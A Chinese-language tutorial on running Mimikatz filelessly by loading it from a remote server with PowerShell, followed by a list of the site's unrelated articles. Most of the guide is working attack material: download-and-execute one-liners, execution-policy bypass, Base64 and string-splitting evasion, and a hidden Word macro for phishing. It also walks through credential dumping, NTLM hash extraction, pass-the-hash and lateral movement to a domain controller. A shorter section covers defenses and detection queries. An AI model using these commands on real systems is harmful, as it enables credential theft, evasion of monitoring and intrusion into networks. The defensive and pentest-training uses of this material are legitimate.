PowerShell遠程加載Mimikatz完全指南:從原理到實戰

PowerShell遠程加載Mimikatz完全指南:從原理到實戰

無文件攻擊技術是現代滲透測試的核心技能,掌握PowerShell遠程加載Mimikatz對白帽子黑客至關重要

1 引言

在當今的網絡安全領域,無文件攻擊(fileless attack)已成為高級持久性威脅(APT)的主要手段之一。PowerShell作為Windows系統的強大管理工具,不僅為系統管理員提供了便捷的管理方式,同時也被安全研究人員和攻擊者廣泛利用。通過PowerShell遠程加載Mimikatz,攻擊者可以避免將敏感工具寫入磁盤,從而繞過傳統基于文件掃描的安全防護措施。

本文將從技術原理、實戰方法、規避技巧到防御檢測,全面解析PowerShell遠程加載Mimikatz的完整技術棧,幫助安全從業人員更好地理解和防御此類攻擊。

2 技術原理與優勢

2.1 PowerShell遠程加載機制

PowerShell提供了多種執行遠程代碼的方式,其中最常用的是Invoke-Expression(IEX)cmdlet與.NET WebClient類的結合:

# 基本遠程加載結構
IEX (New-Object Net.WebClient).DownloadString('http://遠程服務器/腳本.ps1')

這條命令完成了三個關鍵操作:

  1. 使用New-Object Net.WebClient創建Web客戶端對象
  2. 調用DownloadString方法從遠程URL下載腳本內容
  3. 通過IEX直接執行下載的腳本內容

2.2 無文件攻擊的優勢

與傳統攻擊方式相比,PowerShell遠程加載具有顯著優勢:

  • 無文件落地:惡意代碼不寫入磁盤,避免被傳統殺毒軟件檢測
  • 內存執行:所有操作在內存中完成,取證困難
  • 系統原生工具:利用系統自帶工具,減少可疑行為
  • 高度靈活性:可隨時更新遠程腳本,無需重新部署

3 實戰方法與命令示例

3.1 基礎遠程加載方法

直接從HTTP服務器加載:

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

使用HTTPS加密傳輸(更隱蔽):

powershell -c "IEX(New-Object Net.WebClient).DownloadString('https://example.com/scripts/mimikatz.ps1'); Invoke-Mimikatz -Command 'privilege::debug' 'sekurlsa::logonpasswords'"

3.2 繞過執行策略的技巧

Windows默認限制PowerShell腳本執行,需要繞過執行策略:

使用Bypass參數:

powershell -ExecutionPolicy Bypass -File "\\網絡路徑\Invoke-Mimikatz.ps1"

Unencoded命令方式(適用于簡單命令):

powershell -ExecutionPolicy Unrestricted -Command "IEX(New-Object Net.WebClient).DownloadString('http://example.com/Invoke-Mimikatz.ps1')"

3.3 Base64編碼混淆

為了避免命令中的關鍵字符串被檢測,可以使用Base64編碼:

# 生成編碼命令
$command = "IEX(New-Object Net.WebClient).DownloadString('http://example.com/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)# 執行編碼后的命令
powershell -EncodedCommand $encodedCommand

3.4 替代下載方法

當WebClient被監控或阻止時,可以使用替代方法:

使用Invoke-WebRequest(PowerShell 3.0+):

IEX (Invoke-WebRequest -Uri 'http://example.com/Invoke-Mimikatz.ps1' -UseBasicParsing).Content

使用BitsTransfer(適合大文件):

Import-Module BitsTransfer
Start-BitsTransfer -Source 'http://example.com/Invoke-Mimikatz.ps1' -Destination '$env:TEMP\mimikatz.ps1'
IEX (Get-Content '$env:TEMP\mimikatz.ps1' -Raw)

4 高級規避技術

4.1 字符串分割與混淆

避免使用完整的可檢測字符串:

# 字符串分割技巧
$url = 'http'+'://example.com/Invoke-Mimikatz.ps1'
$downloader = New-Object Net.WebClient
$script = $downloader.DownloadString($url)
Invoke-Expression $script

4.2 內存補丁與API調用

直接調用Windows API實現更隱蔽的加載:

# 使用Win32 API直接加載DLL到內存
$Source = @"
using System;
using System.Runtime.InteropServices;
namespace Win32 {public class API {[DllImport("kernel32")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);[DllImport("kernel32")]public static extern IntPtr LoadLibrary(string name);[DllImport("kernel32")]public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);}
}
"@Add-Type -TypeDefinition $Source -Language CSharp
# 后續可以編寫更高級的內存加載代碼

4.3 降級與兼容性處理

處理不同PowerShell版本兼容性問題:

# 檢查PowerShell版本并選擇合適的方法
if ($PSVersionTable.PSVersion.Major -ge 3) {IEX (Invoke-WebRequest -Uri 'http://example.com/Invoke-Mimikatz.ps1' -UseBasicParsing).Content
} else {IEX (New-Object Net.WebClient).DownloadString('http://example.com/Invoke-Mimikatz.ps1')
}

5 防御與檢測策略

5.1 預防措施

強化PowerShell執行策略:

# 設置受限執行策略
Set-ExecutionPolicy Restricted -Force# 僅允許簽名腳本執行
Set-ExecutionPolicy AllSigned -Force

禁用PowerShell v2.0(舊版本更易被利用):

# 檢查并禁用PowerShell v2.0
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2

5.2 監控與檢測

啟用PowerShell模塊日志記錄:

# 檢查當前日志設置
Get-WinEvent -ListLog "Microsoft-Windows-PowerShell/Operational" -ErrorAction SilentlyContinue# 啟用腳本塊日志記錄(推薦)
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Value 1 -PropertyType DWord -Force

監控敏感命令序列:

-- 示例:SIEM查詢檢測Mimikatz加載行為
SELECT * FROM SecurityEvent 
WHERE EventID = 4688 AND 
(CommandLine LIKE '%DownloadString%' AND CommandLine LIKE '%mimikatz%') 
OR (CommandLine LIKE '%IEX%' AND CommandLine LIKE '%net.webclient%')

5.3 應用程序控制

實施約束語言模式:

# 啟用約束語言模式
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

使用Windows Defender Application Control(WDAC):

# 創建WDAC策略示例
New-CIPolicy -Level FilePublisher -FilePath "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -PolicyPath "C:\Policy.xml" -UserPEs

6 實戰案例:完整的攻擊鏈

6.1 初始入侵階段

通過釣魚郵件獲取初始訪問:

# 偽裝的Word文檔宏代碼
Sub AutoOpen()Dim payload As Stringpayload = "powershell -w hidden -c ""IEX(New-Object Net.WebClient).DownloadString('http://example.com/Invoke-Mimikatz.ps1')"""Shell payload, vbHide
End Sub

6.2 權限提升與憑據獲取

加載Mimikatz獲取憑證:

# 內存加載并執行Mimikatz
IEX (New-Object Net.WebClient).DownloadString('http://example.com/Invoke-Mimikatz.ps1')# 提取本地憑證
$creds = Invoke-Mimikatz -Command "privilege::debug" "sekurlsa::logonpasswords"# 解析結果并提取NTLM哈希
$ntlmHash = ($creds | Select-String "NTLM\s+:\s+([a-f0-9]{32})").Matches.Groups[1].Value

6.3 橫向移動

使用獲取的哈希進行橫向移動:

# 哈希傳遞攻擊(PTH)
Invoke-Mimikatz -Command "sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:$ntlmHash"# 通過WinRM執行遠程命令
$session = New-PSSession -ComputerName DC01.corp.local -Credential (New-Object System.Management.Automation.PSCredential("Administrator", (ConvertTo-SecureString "Password123" -AsPlainText -Force)))
Invoke-Command -Session $session -ScriptBlock { IEX(New-Object Net.WebClient).DownloadString('http://example.com/Invoke-Mimikatz.ps1') }

7 結語

PowerShell遠程加載Mimikatz技術代表了現代無文件攻擊的典型手法,它充分利用了系統原生工具的強大功能,同時規避了傳統安全產品的檢測。作為安全從業人員,深入理解這些技術不僅有助于進行有效的滲透測試,更能為構建全面的防御體系提供寶貴 insights。

關鍵要點總結:

  1. PowerShell遠程加載提供了無文件攻擊能力,難以被傳統安全產品檢測
  2. 多種繞過技術可以規避執行策略和安全監控
  3. 全面的防御需要多層策略:預防、檢測和響應相結合
  4. 持續監控和日志分析是發現此類攻擊的關鍵

最后,我們必須強調:這些技術只應在合法授權的安全測試中使用。未經授權的使用違反法律且違背職業道德。白帽子黑客的職責是幫助組織提高安全性,而不是利用漏洞進行非法活動。


本文僅用于安全研究和教育目的,所有技術細節都應在獲得明確授權的前提下使用。未經授權的網絡入侵是違法行為,需承擔法律責任。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/94579.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/94579.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/94579.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

基于Spring Boot的民宿服務管理系統-項目分享

基于Spring Boot的民宿服務管理系統-項目分享項目介紹項目摘要系統總體結構圖民宿資訊信息實體圖項目預覽民宿信息管理頁面民宿咨詢管理頁面已支付訂單管理頁面用戶主頁面寫在最后項目介紹 使用者:管理員、用戶 開發技術:MySQLJavaSpringBootVue 項目摘…

SpringBoot基礎知識-從XML配置文件到Java Config

項目結構與依賴首先&#xff0c;我們需要添加 Spring 核心依賴&#xff1a;<dependency><groupId>org.springframework</groupId><artifactId>spring-context</artifactId><version>5.2.5.RELEASE</version> </dependency>項目…

用無標簽語音自我提升音頻大模型:SI-SDA 方法詳解

用無標簽語音自我提升音頻大模型:SI-SDA 方法詳解 在語音識別和處理領域,近年來大模型(Large Language Models, LLMs)的發展迅速,為語音任務帶來了新的突破。然而,語音信號的復雜性使得這些模型在特定領域中表現不佳。如何在沒有標注數據的情況下提升音頻大模型的表現?…

開源工具新玩法:cpolar提升Penpot協作流暢度

文章目錄前言1. 安裝Docker2. Docker鏡像源添加方法3. 創建并啟動Penpot容器3. 本地使用Penpot進行創作4. 公網遠程訪問本地Penpot4.1 內網穿透工具安裝4.2 創建遠程連接公網地址5. 固定Penpot公網地址前言 你是否也曾因商業設計軟件的高昂費用而放棄團隊協作&#xff1f;或者…

DINOv2 vs DINOv3 vs CLIP:自監督視覺模型的演進與可視化對比

近年來&#xff0c;自監督學習在計算機視覺領域取得了巨大進展&#xff0c;推動了無需人工標注即可學習強大視覺表示的視覺基礎模型&#xff08;Vision Foundation Models&#xff09;的發展。其中&#xff0c;DINOv2 和 CLIP 是兩個極具影響力的代表性工作&#xff0c;而最新的…

并發編程——05 并發鎖機制之深入理解synchronized

1 i/i--引起的線程安全問題 1.1 問題思考&#xff1a;兩個線程對初始值為 0 的靜態變量一個做自增&#xff0c;一個做自減&#xff0c;各做 5000 次&#xff0c;結果是 0 嗎&#xff1f; public class SyncDemo {private static int counter 0;public static void increment()…

數字接龍(dfs)(藍橋杯)

非常好的聯系dfs的一道題目&#xff01; 推薦看這位大佬的詳解——>大佬詳細題解 #include <iostream> #include <vector> #include <algorithm> #include <cmath> using namespace std;const int N 2e5 10,M20; int a[M][M]; bool val[M][M]; i…

[光學原理與應用-318]:職業 - 光學工程師的技能要求

光學工程師需具備扎實的專業知識、熟練的軟件操作能力、豐富的實踐經驗、良好的溝通協作與項目管理能力&#xff0c;以及持續學習和創新能力&#xff0c;以下是具體技能要求&#xff1a;一、專業知識與理論基礎光學基礎知識&#xff1a;熟悉光學原理、光學材料、光學儀器等基礎…

萬字詳解架構設計:業務架構、應用架構、數據架構、技術架構、單體、分布式、微服務都是什么?

01 架構要素結構連接在軟件行業&#xff0c;對于什么是架構一直有很多的爭論&#xff0c;每個人都有自己的理解。不同的書籍上、不同的作者&#xff0c;對于架構的定義也不統一&#xff0c;角度不同&#xff0c;定義不同。此君說的架構和彼君理解的架構未必是一回事。因此我們在…

使用Docker搭建StackEdit在線MarkDown編輯器

1、安裝Docker# 安裝Docker https://docs.docker.com/get-docker/# 安裝Docker Compose https://docs.docker.com/compose/install/# CentOS安裝Docker https://mp.weixin.qq.com/s/nHNPbCmdQs3E5x1QBP-ueA2、安裝StackEdit2.1、方式1詳見&#xff1a; https://benweet.github.…

【C++詳解】用哈希表封裝實現myunordered_map和 myunordered_set

文章目錄一、框架分析二、封裝框架&#xff0c;解決KeyOfT三、?持iterator的實現四、const迭代器五、實現key不支持修改六、operator[ ]七、一些補充(reserve和rehash)八、源碼一、框架分析 SGI-STL30版本源代碼中沒有unordered_map和unordered_set&#xff0c;SGI-STL30版本是…

【 MYSQL | 基礎篇 四大SQL語句 】

摘要&#xff1a;本文先介紹數據庫 SQL 的核心概念&#xff0c;接著闡述 SQL 通用語法與 DDL、DML、DQL、DCL 四大分類&#xff0c;隨后詳細講解各類語句操作&#xff0c;包括 DDL 的數據庫與表操作及數據類型&#xff0c;DML 的數據增刪改&#xff0c;DQL 的查詢語法與功能&am…

Transformer 模型在自動語音識別(ASR)中的應用

文章目錄自動語音識別&#xff08;ASR&#xff09;簡介簡要介紹TransformerTransformer 在 ASR 中的應用基于“語音識別模型整體框架圖”的模塊介紹1. 音頻采集模塊&#xff08;Audio Acquisition Module&#xff09;2. 音頻預處理模塊&#xff08;Audio Preprocessing Module&…

集成電路學習:什么是SSD單發多框檢測器

SSD:單發多框檢測器 SSD(Single Shot MultiBox Detector)是一種高效的目標檢測算法,它通過單一網絡實現對象檢測,具有快速且準確的特點。以下是關于SSD的詳細解析: 一、SSD的技術特點 1、單一網絡檢測: SSD通過單一的前向傳播過程預測不同尺度的邊界框和類別概率…

【車載開發系列】汽車零部件DV與PV試驗的差異

【車載開發系列】汽車零部件DV與PV試驗的差異 【車載開發系列】汽車零部件DV與PV試驗的差異【車載開發系列】汽車零部件DV與PV試驗的差異一. 概念說明二. DV測試&#xff08;Design Verification 設計驗證測試&#xff09;三. PV測試&#xff08;Performance Verification 性能…

如何在阿里云百煉中使用釘釘MCP

本文通過阿里云百煉釘釘MCP配合&#xff0c;完成釘釘AI表格&#xff08;多維表&#xff09;數據管理 &#xff0c;其他AI開發工具可參照本文完成部署。 準備工作 在正式開始前&#xff0c;需要提前了解什么是釘釘MCP&#xff0c;詳情請參考釘釘服務端API MCP 概述。已經注冊了…

【lucene】SpanNearQuery中的slop

在`SpanNearQuery`中,`slop`的定義比你描述的稍微復雜一些。以下是一些更準確的解釋和分析: 1. `slop`的定義 `SpanNearQuery`的`slop`參數指的是兩個`SpanTermQuery`(或更一般的`SpanQuery`子句)之間允許的最大“不匹配位置”的數量。具體來說: - 不匹配位置:指的是第…

sqli-labs通關筆記-第64關 GET數值型SQL盲注(雙括號閉合 130次探測機會)

目錄 一、代碼審計 1、源碼分析 2、SQL注入風險分析 &#xff08;1&#xff09;聯合SQL注入方法&#xff08;不可行&#xff09; &#xff08;2&#xff09;報錯SQL注入方法&#xff08;不可行&#xff09; &#xff08;3&#xff09;總結 二、滲透實戰 1、滲透準備 2…

每日一題——力扣498 對角線遍歷

力扣498 對角線遍歷 問題分析給定一個 m x n 矩陣&#xff0c;我們需要按照對角線順序遍歷所有元素。對角線遍歷的特點是&#xff1a; 每條對角線上元素的行索引與列索引之和為常數遍歷方向交替變化&#xff1a;奇數對角線&#xff08;從右上到左下&#xff09;&#xff0c;偶數…

【單例模式】

概述一個類不管創建多少次對象&#xff0c;永遠只能得到該類型的一個對象的實例。常用到的比如日志模塊 &#xff0c;數據庫模塊餓漢&#xff1a;在類加載時就創建單例對象&#xff0c;因此它是線程安全的&#xff0c;因為對象的創建在程序啟動時就已經完成&#xff0c;不存在多…